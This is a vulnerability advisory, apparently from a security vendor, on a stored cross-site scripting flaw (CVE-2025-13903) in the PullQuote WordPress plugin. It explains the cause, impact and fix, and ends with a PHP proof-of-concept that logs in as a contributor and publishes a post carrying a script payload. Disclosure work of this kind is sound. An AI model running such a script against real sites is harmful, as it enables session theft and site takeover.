Atomic Edge analysis of CVE-2025-13903 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the PullQuote WordPress plugin version 1.0. The vulnerability exists within the plugin’s ‘pullquote’ shortcode handler, allowing contributor-level or higher authenticated users to inject malicious scripts into pages or posts. The CVSS score of 6.4 reflects its moderate severity, with scope change (S:C) indicating successful exploitation can affect other site visitors.
Atomic Edge research indicates the root cause is insufficient input sanitization and output escaping on user-supplied shortcode attributes. The CWE-79 classification confirms improper neutralization of input during web page generation. While no source code diff is available, the description strongly suggests the plugin’s shortcode callback function directly echoes attribute values without proper escaping functions like esc_attr() or esc_html(). This inference is based on the WordPress shortcode API pattern where attributes are processed via the shortcode_atts() function and then output.
Exploitation requires an authenticated user with at least contributor privileges. The attacker creates or edits a post containing the malicious shortcode. A typical payload would be: [pullquote author=”alert(document.domain)”]. The attacker submits the post for review or publishes it directly if they have publishing capabilities. The malicious script executes in the browser of any user viewing the compromised page, including administrators and visitors.
Remediation requires implementing proper output escaping on all shortcode attributes before rendering. The plugin should use WordPress core escaping functions like esc_attr() for HTML attributes and esc_html() for text content. Additionally, input validation should restrict attribute values to expected patterns where possible. The fix must be applied in the shortcode handler’s output generation, not just input sanitization, to prevent XSS in all contexts.
The impact includes session hijacking, administrative actions performed by victims, defacement, and data exfiltration. Since the XSS is stored, a single injection affects all subsequent visitors to the compromised page. Contributor-level attackers can target administrators to steal cookies or session tokens, potentially leading to privilege escalation and complete site compromise.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13903 - PullQuote <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';
// Payload: XSS via shortcode attribute
$malicious_content = '[pullquote author="<script>alert(document.domain)</script>"]Test quote[/pullquote]';
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
$response = curl_exec($ch);
// Check if login succeeded by accessing admin area
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post-new.php');
$response = curl_exec($ch);
if (strpos($response, 'id="wpbody-content"') === false) {
die('Login failed. Check credentials.');
}
// Extract nonce for post creation (WordPress pattern)
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
die('Could not extract nonce from page.');
}
// Create new post with malicious shortcode
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'post_title' => 'Test Post with XSS',
'content' => $malicious_content,
'action' => 'editpost',
'post_type' => 'post',
'post_status' => 'publish',
'_wpnonce' => $nonce,
'publish' => 'Publish'
]));
$response = curl_exec($ch);
curl_close($ch);
// Verify success by checking for post URL
if (strpos($response, 'post=0') !== false) {
echo 'Exploit likely succeeded. Visit the newly created post to trigger XSS.';
} else {
echo 'Post creation may have failed. Check user permissions.';
}
?>
